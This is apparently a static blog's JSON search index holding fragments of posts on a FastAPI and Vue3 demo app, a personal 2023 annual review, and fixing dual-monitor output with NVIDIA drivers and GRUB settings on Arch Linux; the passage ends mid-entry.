index.json

[{"categories":["Programming"],"content":"A Fullstack demo made by FastAPI and Vue3.","date":"2024-03-05","objectID":"/posts/a-simple-client-server-project-made-by-python-and-vue3/","tags":["Vue3","Vue","Python","FastAPI","Front-end and back-end separation","HTML","CSS","Typescript","Javascript","axios","Demo","Web"],"title":"A Simple Client Server Project Made by Python and Vue3","uri":"/posts/a-simple-client-server-project-made-by-python-and-vue3/"},{"categories":["Programming"],"content":"Introduction This demo will show a user list with avatar, username and description, which is the data fetched from the backend. At first, the client page made by vue3 will send a request to the server, then the server respond and transfer a JSON typed data. Then the clinet page accepts this data, and render a page. Backend There’s a HTTP service powered by FastAPI, which is a high performance web framework for Python. When started, it will read the json file user_list.json into the RAM as a variable. When received a HTTP request by the URL /userdata/list from any clinet, it will read the JSON data in RAM and send to the client. Here is the JSON file. [ { \"id\": 1, \"name\": \"WeepingDogel\", \"type\": \"dog\", \"age\": 20, \"avatar\": \"/static/WeepingDogel.jpg\" }, { \"id\": 2, \"name\": \"kira-pgr\", \"type\": \"cat\", \"age\": 18, \"avatar\": \"/static/kira-pgr.png\" }, { \"id\": 3, \"name\": \"kara\", \"type\": \"cat\", \"age\": 19, \"avatar\": \"/static/kara.jpg\" }, { \"id\": 4, \"name\": \"Felix Yan\", \"type\": \"fox(?)\", \"age\": 30, \"avatar\": \"/static/felix.jpg\" }, { \"id\": 5, \"name\": \"Old Herl\", \"type\": \"cat\", \"age\": 400, \"avatar\": \"/static/old_herl.jpg\" }, { \"id\": 6, \"name\": \"Episode 33\", \"type\": \"-/@”～、\", \"age\": 17, \"avatar\": \"/static/episode-33.jpg\" } ] Let’s start to code. Firstly, we need to create a virtual environment of Python and import the fastapi package. $ python -m venv venv Install the fastapi libraries by pip and establish a root API URL to run a web server. $ pip install \"fastapi[all]\" # encoding=UTF-8 # filename=main.py from fastapi import FastAPI app = FastAPI() @app.get('/') async def root(): return {\"message\": \"Hello\"} While the client recevied the data to render the page, it will still access the server to get the static files. So let’s mount the staitc directory. $ ls src/static/ -lh 总计 396K -rw-r--r-- 1 weepingdogel weepingdogel 89K 3月 3日 18:51 episode-33.jpg -rw-r--r-- 1 weepingdogel weepingdogel 87K 3月 3日 18:35 felix.jpg -rw-r--r-- 1 weepingdogel weepingdogel 45K 3月 3日 15:52 kara.jpg -rw-r--r-- 1 weepingdogel weepingdogel 93K 12月18日 11:34 kira-pgr.png -rw-r--r-- 1 weepingdogel weepingdogel 36K 3月 3日 18:37 old_herl.jpg -rw-r--r-- 1 weepingdogel weepingdogel 34K 1月 6日 16:20 WeepingDogel.jpg Add these to main.py. from fastapi.staticfiles import StaticFiles app.mount('/static', StaticFiles(directory=\"src/static\"), name=\"static\") Then we need to create a router /userdata by create a new file router_userdata.py in other direcotries or just in the same directory. # encoding=UTF-8 # filename=router_resources.py from fastapi import APIRouter import json userdata_router = APIRouter( prefix='/userdata', tags=['userdata'], responses={404: {\"Description\": \"Not Found\"}} ) Now we need to open the json file and store the content into the memory as a variable. user_list: list = json.loads(open('src/data/user_list.json').read()) Finally we create a URL router to provide the API to get the data. # encoding=UTF-8 # filename=router_resources.py from fastapi import APIRouter import json userdata_router = APIRouter( prefix='/userdata', tags=['userdata'], responses={404: {\"Description\": \"Not Found\"}} ) user_list: list = json.loads(open('src/data/user_list.json').read()) @userdata_router.get('/list') def read_user_list(): \"\"\" Read a user list from a json file. :return: A user list. \"\"\" return user_list Now start the server by uvicorn. uvicorn src.main:app --reload FrontEnd Now it’s the work that frontend must be responsible. Let’s create a vue3 project by yarn at first. $ yarn create vue Then delete the components before, we don’t need them in this demo. Just rewrite the code of the App.vue. Before we send a request to fetch the data, we need to define two types to contain the data if Typescript is enabled. type User = { id: Number; name: string; user_type: string; age: Number; avatar: string; }; type UserList = User[]; According to the lifecycle of Vue3, a method need to be create and used in the mount lifecycle. We have to define a global variable in data() state and a sy","date":"2024-03-05","objectID":"/posts/a-simple-client-server-project-made-by-python-and-vue3/:0:0","tags":["Vue3","Vue","Python","FastAPI","Front-end and back-end separation","HTML","CSS","Typescript","Javascript","axios","Demo","Web"],"title":"A Simple Client Server Project Made by Python and Vue3","uri":"/posts/a-simple-client-server-project-made-by-python-and-vue3/"},{"categories":["Annual Summary"],"content":"Though the time is a unit defined by people, it can still flow away like a river running from the hill to the plain. I Only feel a sigh and a wink, the 2023 just has passed. Just looking back on the memories like the cherry blossoms drifting in midair, which I want to catch on my tiptoes, a lot has happened this year. Now just hold the petals and look, which probably makes me bring back the time to mind. Gained The past year has been a whirlwind of learning and growth for me. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:0:0","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Skills \u0026 Knowledge In 2023, I delved into a multitude of skills and embarked on several captivating open-source projects that have significantly broadened my horizons. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:1:0","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Flask Let’s start with the Flask journey. Early on, I found myself entangled in the enchanting web of Flask, a delightful web application framework in Python. The thrill of setting up and completing the TinyGallery using Flask’s straightforward and efficient MVC structure left an indelible mark on my learning path. Diving into the official Flask documentation, I uncovered the art of rendering pages with the aid of jinja2-powered templates. This exploration, though it demanded patience, eventually bore fruit as I gradually incorporated functionalities into the project—minus the requirement of file uploads. @app.route(\"/\") def index(): database = db.get_db() ImageTable = database.execute(\"SELECT * FROM IMAGES ORDER BY Date DESC\") if 'username' in session: LikeTable = database.execute(\"SELECT LikedPostUUID FROM ImagesLikedByUser WHERE User = ? AND LikeStatus = ?\", (session['username'], 1, )).fetchall() LikedList = [] for i in LikeTable: LikedList.append(str(i[0])) Avatar = database.execute('SELECT Avatar FROM AVATARS WHERE UserName = ?', (session['username'],)).fetchone() userAvaterImage = app.config['PUBLIC_USERFILES'] + '/' + session['username'] + '/' + Avatar['Avatar'] return render_template( \"index.html\", PageTitle=\"HomePage\", Images=ImageTable, userAvaterImage=userAvaterImage, userName=session['username'], LikedList=LikedList) else: return render_template(\"index.html\", PageTitle=\"HomePage\", Images=ImageTable) {% extends \"base.html\" %} {% block Title %} {{PageTitle}} | TinyGallery {% endblock %} {% block body %} \u003cdiv class=\"Content\"\u003e {% for x in Images %} \u003cdiv class=\"work\"\u003e \u003cimg class=\"displayedImages\" onclick=\"OpenFullImage({{ loop[\" index\"] }})\" src=\"/static/img/users/{{ x['User'] }}/Images/{{ x['UUID'] }}.jpg\" alt=\"{{ x['UUID'] }}\" /\u003e \u003ch1 class=\"userName\"\u003e{{ x['ImageTitle'] }}\u003c/h1\u003e \u003cp class=\"textFont\"\u003e \u003cspan\u003eBy {{ x['User'] }}\u003c/span\u003e \u003cbr /\u003e \u003cspan class=\"LikesNum\"\u003e Likes: {{ x['Dots'] }} \u003c/span\u003e \u003cbr /\u003e \u003cspan\u003eDescription: {{ x['Description'] }}\u003c/span\u003e \u003cbr /\u003e \u003cspan\u003eDate: {{x['Date']}}\u003c/span\u003e \u003cbr /\u003e {% if g.user %} {% if x['UUID'] in LikedList %} \u003csvg onclick=\"SendLikedData({{ loop[\" index\"] }}, 'Like' )\" class=\"likeStatus0\" style=\"display: none;\" xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-star\" viewBox=\"0 0 16 16\"\u003e \u003cpath d=\"M2.866 14.85c-.078.444.36.791.746.593l4.39-2.256 4.389 2.256c.386.198.824-.149.746-.592l-.83-4.73 3.522-3.356c.33-.314.16-.888-.282-.95l-4.898-.696L8.465.792a.513.513 0 0 0-.927 0L5.354 5.12l-4.898.696c-.441.062-.612.636-.283.95l3.523 3.356-.83 4.73zm4.905-2.767-3.686 1.894.694-3.957a.565.565 0 0 0-.163-.505L1.71 6.745l4.052-.576a.525.525 0 0 0 .393-.288L8 2.223l1.847 3.658a.525.525 0 0 0 .393.288l4.052.575-2.906 2.77a.565.565 0 0 0-.163.506l.694 3.957-3.686-1.894a.503.503 0 0 0-.461 0z\" /\u003e \u003c/svg\u003e \u003csvg onclick=\"SendLikedData({{ loop[\" index\"] }}, 'Unlike' )\" class=\"likeStatus1\" xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-star-fill\" viewBox=\"0 0 16 16\"\u003e \u003cpath d=\"M3.612 15.443c-.386.198-.824-.149-.746-.592l.83-4.73L.173 6.765c-.329-.314-.158-.888.283-.95l4.898-.696L7.538.792c.197-.39.73-.39.927 0l2.184 4.327 4.898.696c.441.062.612.636.282.95l-3.522 3.356.83 4.73c.078.443-.36.79-.746.592L8 13.187l-4.389 2.256z\" /\u003e \u003c/svg\u003e {% else %} \u003csvg onclick=\"SendLikedData({{ loop[\" index\"] }}, 'Like' )\" class=\"likeStatus0\" xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-star\" viewBox=\"0 0 16 16\"\u003e \u003cpath d=\"M2.866 14.85c-.078.444.36.791.746.593l4.39-2.256 4.389 2.256c.386.198.824-.149.746-.592l-.83-4.73 3.522-3.356c.33-.314.16-.888-.282-.95l-4.898-.696L8.465.792a.513.513 0 0 0-.927 0L5.354 5.12l-4.898.696c-.441.062-.612.636-.283.95l3.523 3.356-.83 4.73zm4.905-2.767-3.686 1.894.694-3.957a.565.565 0 0 0-.163-.505L1.71 6.745l4.052-.576a.525.525 0 0 0 .393-.288L8 2.223l1.847 3.658a.525.525 0 0 0 .393.288l4.052.575-2.906 2.77a.565.565 0 0 0-.163.506l.694 3.957-3.686-1.894a.503.503 0 0 0-.461 0","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:1:1","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"FastAPI, VueJS Enter FastAPI and VueJS. To elevate the TinyGallery experience, a decision was made to bifurcate the backend and frontend, with a keen emphasis on leveraging Ajax-all-in and Restful API features. This compelling pursuit led me to immerse myself in the world of VueJS, resulting in the creation of tinygallery-vue and tinygallery-backend. Months of dedicated learning culminated in the successful completion of this endeavor. The depth and breadth of my learning during this period were substantial, encompassing the creation of a Restful API provider with FastAPI, the crafting of a webpage capable of seamless data communication with the server using axios, and the meticulous design of simple, yet elegant components in VueJS. async fetchData() { // Fetch more image data from the server this.pages = this.pages + 1; // Increment the current page number const response = await axios.get(\"/resources/posts/\" + this.pages); // Make a GET request to the server API const newData = JSON.parse(response.request.response); // Parse the response text to JSON format if (newData[0] == null) { // If there is no new data this.pages = this.pages - 1; // Decrement the current page number } else { // Otherwise for (let i = 0; i \u003c newData.length; i++) { // Loop over the new data and add it to the display data array (this.displayData as any).push(newData[i]); } } }, \u003ctemplate\u003e \u003cdiv class=\"Card\" v-for=\"items of displayData\"\u003e \u003cimg @click=\"OpenRemarkBySingleUUID((items as any).post_uuid)\" class=\"displayImage_NSFW\" :src=\"(items as any).cover_url\" :alt=\"(items as any).post_uuid\" v-if=\"(items as any).nsfw\" /\u003e \u003cimg @click=\"OpenRemarkBySingleUUID((items as any).post_uuid)\" class=\"displayImage\" :src=\"(items as any).cover_url\" :alt=\"(items as any).post_uuid\" v-else /\u003e \u003ch2 class=\"ImageTitle\"\u003e{{ (items as any).post_title }}\u003c/h2\u003e \u003cp class=\"ImageDescription\"\u003e{{ (items as any).description }}\u003c/p\u003e \u003cdiv class=\"UserInfoBar\"\u003e \u003cimg class=\"UserAvatar\" :src=\"(items as any).avatar\" /\u003e \u003cp class=\"ImageUserName\"\u003e{{ (items as any).user_name }}\u003c/p\u003e \u003cp class=\"LikesDisplay\"\u003e{{ (items as any).dots }} likes\u003c/p\u003e \u003cp class=\"ImageDate\"\u003e {{ TimeZoneCaculator.CaculateTheCorrectDate((items as any).date) }} \u003c/p\u003e \u003c/div\u003e \u003c/div\u003e \u003c/template\u003e @image_resources_api.get(\"/posts/{page}\") async def get_posts_as_json(page: int, db: Session = Depends(get_db)): if not page: raise HTTPException( status_code=400, detail=\"You must append a page number to the end of the url.\") posts_from_db = crud.get_posts_by_page(db=db, page=page) list_for_return: list[dict] = [] for x in posts_from_db: user_uuid = get_user_uuid_by_name(user_name=x.user_name, db=db) admin_uuid = get_admin_uuid_by_name(user_name=x.user_name, db=db) temp_dict = { \"id\": x.id, \"description\": x.description, \"share_num\": x.share_num, \"post_uuid\": x.post_uuid, \"nsfw\": x.nsfw, \"user_name\": x.user_name, \"post_title\": x.post_title, \"dots\": x.dots, \"date\": x.date[0:16], \"cover_url\": dir_tool.get_cover_file_url(x.post_uuid), \"avatar\": dir_tool.get_avatar_file_url(dir_user_uuid=admin_uuid if admin_uuid else user_uuid)[1] } list_for_return.append(temp_dict) return list_for_return Reveling in the satisfaction of newfound skills, I proudly navigated my way through VueJS’s option API, acquainting myself with the intricacies of lifecycle management, components, and props. On the backend front, mastering the art of JWT token creation for authentication, file handling, and data manipulation further bolstered my repertoire. LoginAccount() { if (this.logUserName == \"\" || this.logPassWord == \"\") { // Check if username and password are empty this.Result = \"Username or password can't be empty!\"; console.log(\"Username or password can't be empty!\"); } else { let bodyFormData = new FormData(); bodyFormData.append(\"username\", this.logUserName); bodyFormData.append(\"password\", this.logPassWord); axios({method: \"post\", url: \"/user/token\", data: bodyFormData, headers: { \"Content-Type\": \"application/x-www-form-urlencoded\" },}) .then((response: any) =\u003e { console.","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:1:2","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"pandas Learning pandas has been a game-changer for me. This versatile and lightning-fast open-source data analysis and manipulation tool, built on top of Python, has proven to be an indispensable asset for my data-related tasks. Whether it’s cleaning up datasets or delving into comprehensive data analysis, pandas has consistently come to my rescue. One interesting aspect is its ability to effortlessly handle data fetched through spider scripts, making it accessible and easily readable for further processing. Plus, the fact that I can swiftly generate new data into Excel or CSV files after the cleansing operation is nothing short of magical. However, I must admit, there’s always more to learn and practice when it comes to mastering this powerful tool. Experience is the true teacher, right? ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:1:3","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"pyecharts Now, let’s talk about pyecharts. When I need to whip up a stunning picture or chart from my data and display it on a webpage, pyecharts has become my go-to solution. Sure, I’m aware of Apache ECharts, an open-source JavaScript visualization library, but setting up its properties and rendering a complex chart can be quite the heavy lift. This is where pyecharts swoops in to save the day, helping me sidestep the complexities and streamline the process. The official documentation, with its plethora of examples for creating simple data charts and graphs, has been an absolute lifesaver. When all I need is a quick, simple chart, relying on pyecharts feels like a breeze. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:1:4","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Database After mastering SQL and familiarizing myself with MySQL, MariaDB, and SQLite, I found that each has its unique advantages for various development needs. SQLite When it comes to lightweight, file-based management and easy transferability of rich content, SQLite has been my go-to choice for simpler applications. The fact that SQLite database files are commonly employed for content transfer and long-term data archival points to its versatility and widespread use in diverse scenarios. In fact, did you know that there are over 1 trillion (1e12) active SQLite databases in use today? That’s mind-blowing! The flexibility and ease of use of SQLite make it an ideal solution for projects like TinyGallery, where it serves as the reliable database engine. MySQL \u0026 MariaDB Of course, in scenarios where performance is a top priority, especially in larger-scale applications, the robustness of MySQL or its fork, MariaDB, often becomes essential. Their well-established presence in the industry and their ability to handle larger datasets and a higher load have made them popular choices in the development community. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:1:5","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Virtualization Venturing into the captivating realm of cloud computing has not only broadened my understanding of modern technology but also kindled a deep interest in virtualization—a cornerstone of cloud infrastructure. Within this domain, I’ve had the pleasure of acquainting myself with a diverse array of virtualization software that has elevated my comprehension of resource management and system orchestration. Let’s delve into the specifics of each prominent tool: VMware Workstation At the forefront of my virtualization exploration stands VMware Workstation. Its robust environment for running multiple virtual machines on a single physical device has been instrumental in refining my approach to system administration and resource allocation. The rich feature set and user-friendly interface of VMware Workstation have empowered me to create and manage virtual environments with unparalleled ease and efficiency, leaving an indelible mark on my journey through digital infrastructure management. VirtualBox As I delved deeper, VirtualBox, with its open-source ethos, emerged as a compelling alternative, reshaping how I perceive accessibility and simplicity in virtualization. Its seamless capacity to create and manage virtual machines has not only broadened my technical adeptness but also democratized the virtualization experience, making it accessible to a diverse spectrum of enthusiasts and professionals. The inclusive and user-friendly nature of VirtualBox has underscored the significance of providing accessible virtualization tools in empowering a broader community of aspiring developers and cloud enthusiasts. Qemu/KVM The potent alliance of QEMU/KVM has stood as a formidable force in my virtualization odyssey, encapsulating the raw power of hypervisor functionality and hardware-assisted virtualization for Linux systems. The seamless compatibility and robust performance offered by this dynamic duo have unlocked new dimensions of agility and efficiency in managing virtualized environments, sparking a newfound appreciation for the intricacies of low-level virtualization technologies. Embracing QEMU/KVM has not only fortified my technical prowess but also enriched my understanding of system-level virtualization, transforming my approach to managing digital infrastructure. Libvirt Last but not least, libvirt, the versatile open-source toolkit, has emerged as a stalwart companion in my exploration of virtualization technologies. Its broad support for a range of hypervisors, including QEMU/KVM, Xen, and LXC, has streamlined the orchestration and management of virtualized platforms, providing a holistic perspective on virtualization capabilities and infrastructure management. My journey with libvirt has underscored the crucial role of adaptive and versatile virtualization tools in the modern era, redefining the paradigm of infrastructure management and resource optimization. These virtualization technologies, with their diverse capabilities and applications, have not only deepened my expertise in cloud computing but also broadened my horizons, equipping me with a nuanced perspective on efficient resource utilization and infrastructure orchestration. The journey through virtualization has been nothing short of transformative, laying a resilient foundation for navigating the dynamic landscapes of cloud infrastructure and digital environments. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:1:6","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Docker Embracing the world of Docker has been a transformative journey, redefining how I approach software development and deployment. From diving into Docker’s innovative approach to containerization to unraveling its potential for creating lightweight, portable, and self-sufficient environments, my exploration has been nothing short of exhilarating. Last year, I penned an article shedding light on this very journey with Docker, and now, armed with an even broader understanding, I’m geared up to delve deeper into its intricacies. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:1:7","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"OpenStack Venturing into the realm of OpenStack has been a recent foray, opening the doors to a world of immense potential in cloud infrastructure management. While I’ve currently dipped my toes into the installation process on a Linux server, I’m poised to embark on an enriching learning journey that will unravel the depths of OpenStack’s capabilities. This journey has already highlighted the power of OpenStack in reshaping the dynamics of scalable and customizable cloud environments, and I’m looking forward to documenting my discoveries as I delve further into its functionalities and applications. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:1:8","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"New Devices ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:2:0","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"108 Customized Keyboard Polar Fox Shaft for letter area, Midnight Jade Shaft for large keys, Box White Shaft for other keys. Support tri-mode and RGB I bought this keyboard for better typing experience, better appearance and gaming. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:2:1","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"87 Customized Keyboard Blueberry Ice Cream shaft for space bar, Graywood V4 shaft for other keys Single mode only, white backlight I bought this keyboard for programming and trying different typing experience. Plus, its light weight always helps me replace the membrane keyboard in computer classroom of shcool. There’s no keyboards in good status… Most of them are broken in different levels because of the students who feels boring in class… There are even keycaps that have been gouged out… Then I need to take my own keyboard to take a laboratory course. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:2:2","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"ViewSonic Displayer 23.8\", 1080P, 165Hz, Fast-IPS panel, HDR10 support I bought it at the beginning of the school year, at first thinking that I could read more lines of code on the big screen… ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:2:3","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Asus Router AX-56U I don’t know what madness to buy Asus router, support dual-band WiFi6, Gigabit wired, didn’t brush the system, still using the official firmware, currently using it as an AP at home. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:2:4","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Small host received from muki It actually has a story of where it came from, but as I said bad memories don’t mean anything. R5-1400 + RX580, 8GB RAM, currently sitting at home as an internal server for the Me0w00f Technology team. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:2:5","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Pixel 3XL Off-wall machine donated by a certain fox, used for off-wall socializing, sometimes watching YouTube, DOL installed. It’s also not bricked, and is still officially native to the Pixel. Pity However, it’s impossible for a ship to always move mildly on the ocean. Something is a pity that couldn’t be realized and accomplished. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:2:6","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Competition The first and biggest pity is that I couldn’t get a chance to participate in large competition this year. Although I had trained and prepared, learning much… ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:3:0","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Skills, works and gaming. In addition.. some details of skills and some basic knowledges hadn’t been acquired. Saddly, I also hadn’t enjoyed a good gaming time… ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:4:0","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Depression Everything bad comes from the terrible reason, I might be ill in emotion, like depression. I know it is necessary to see a doctor, but chances are few. I wanna get rid of it, but it’s hard. It has been a stone which probably and definitely prevents my steps to go forward… New accquaintance Here are my new accquaintance or friends I met this year with something they say. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:5:0","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"GrassBlock “In the new year I hope WeepingDogel can live happily and not stress himself out by thinking too lowly of himself!” ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:6:0","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Riiina “See a doctor” ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:7:0","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Annual Summary"],"content":"Episode33 “You. Think about how to live, at least you seem promising to me.” Plans in 2024 Finish reading the book Computer Systems A Programmer’s Perspective. Learn to use Vuetify or PrimeVue. Learn more about virtualization, programming and networking. Prepare for bachelor’s degree. Join and win a competition. Find a lover(Never mind) Conclusion Finally, I recorded this year. Even if there’s a pity for something failed, I still gain so much that never feel sad at the end of the year. ","date":"2023-12-31","objectID":"/posts/2023-annual-summary/:8:0","tags":["Annual Summary","Thinking","Summarize","Life"],"title":"Annual Summary in 2023","uri":"/posts/2023-annual-summary/"},{"categories":["Problem Solving"],"content":"Weeks ago, I bought a screen made by ViewSonic, then I have to screens. But I meet a problem about the dual GPUs.","date":"2023-09-21","objectID":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/","tags":["Dual GPUs","NVIDIA","Intel","Arch Linux","Linux","NVIDIA Driver","X11","Problem Solving"],"title":"Solve the problem of dual screen with NVIDIA and Intel GPUs","uri":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/"},{"categories":["Problem Solving"],"content":"Introduction Recently I bought a new monitor made by ViewSonic, but I meet some problems of the dual GPUs. In the past years, I have used only one screen which is installed in my laptop without NVIDIA graphcial drivers. (Only use the Intel core GPU). However, because of the new monitor added, the ntegrated graphics is not powerful enough to output two screens. Therefore, I decide to install the NVIDIA grapcial driver of the RTX3050 on my Arch Linux in order to make use of the Discrete Graphics Card to output the new screen. But things are not running well… The reason why I crashed the wall is that I used to running Gnome on wayland mode before. But it is said that NVIDIA drivers are not performing well on wayland? So it truly means that I have to abandon the idea to output two screen on wayland. Oh it’s bad! I have to come back to the hugging of the X11! ","date":"2023-09-21","objectID":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/:1:0","tags":["Dual GPUs","NVIDIA","Intel","Arch Linux","Linux","NVIDIA Driver","X11","Problem Solving"],"title":"Solve the problem of dual screen with NVIDIA and Intel GPUs","uri":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/"},{"categories":["Problem Solving"],"content":"Beginning At the beginning of that, I plugged the miniDP into the laptop and the another port into the monitor. But disappointingly, it can’t be lighted up at all. QAQ. Maybe the miniDP port can not output anything because of missing the NVIDIA driver. So I have to install it. ","date":"2023-09-21","objectID":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/:2:0","tags":["Dual GPUs","NVIDIA","Intel","Arch Linux","Linux","NVIDIA Driver","X11","Problem Solving"],"title":"Solve the problem of dual screen with NVIDIA and Intel GPUs","uri":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/"},{"categories":["Problem Solving"],"content":"Installation of the NVIDIA drivers The first step is to install the drivers. Yeah notefuly, it’s the first step, not the last. $ sudo pacman -S nvidia nvidia-utils lib32-nvidia-utils nvidia-prime However, the screen was still not displaying anything… Then I went to the Arch Linux CN group to ask the guys in community. After discussion, I finally got the solution. ","date":"2023-09-21","objectID":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/:3:0","tags":["Dual GPUs","NVIDIA","Intel","Arch Linux","Linux","NVIDIA Driver","X11","Problem Solving"],"title":"Solve the problem of dual screen with NVIDIA and Intel GPUs","uri":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/"},{"categories":["Problem Solving"],"content":"Open the ibt About on the March, I faced a problem of VirutalBox and set the ibt=off. But now it is not required to be off, I need to remove the param of the kernel. Edit the file: /etc/default/grub, $ sudo vim /etc/default/grub GRUB_DEFAULT=\"0\" GRUB_TIMEOUT=\"100\" GRUB_DISTRIBUTOR=\"Arch\" GRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash loglevel=3 rd.udev.log_priority=3 vt.global_cursor_default=0\" GRUB_CMDLINE_LINUX=\"ibt=off\" ......... then remove the ibt=off in GRUB_CMD_LINE_LINUX: GRUB_DEFAULT=\"0\" GRUB_TIMEOUT=\"100\" GRUB_DISTRIBUTOR=\"Arch\" GRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash loglevel=3 rd.udev.log_priority=3 vt.global_cursor_default=0\" GRUB_CMDLINE_LINUX=\"\" ......... Then regenerate the grub.cfg: $ sudo grub-mkconfig -o /etc/grub/grub.cfg ","date":"2023-09-21","objectID":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/:4:0","tags":["Dual GPUs","NVIDIA","Intel","Arch Linux","Linux","NVIDIA Driver","X11","Problem Solving"],"title":"Solve the problem of dual screen with NVIDIA and Intel GPUs","uri":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/"},{"categories":["Problem Solving"],"content":"Set NVIDIA modeset Then I need to check the value of the nvidia-drm.modeset. $ cat /sys/module/nvidia_drm/parameters/modeset It shows: N Now I need to add nvidia-drm.modeset=1 into Kernel Paramaters. Explanation from ChatGPT The nvidia-drm.modeset=1 kernel parameter enables the NVIDIA Direct Rendering Manager KMS (Kernel Mode Setting). KMS is a method for setting display resolution and depth in the kernel space rather than user space. Edit the file: /etc/default/grub $ sudo vim /etc/default/grub Add the nvidia-drm.modeset=1 into GRUB_CMDLINE_LINUX_DEFAULT ........ GRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash loglevel=3 rd.udev.log_priority=3 vt.global_cursor_default=0 nvidia-drm.modeset=1\" ........ Then regenerate the grub configuration file. $ sudo grub-mkconfig -o /boot/grub/grub.cfg And reboot. ","date":"2023-09-21","objectID":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/:5:0","tags":["Dual GPUs","NVIDIA","Intel","Arch Linux","Linux","NVIDIA Driver","X11","Problem Solving"],"title":"Solve the problem of dual screen with NVIDIA and Intel GPUs","uri":"/posts/solve_the_problem_of_dual_screen_with_nvidia_and_intel_gpus/"},{"categories":["Problem 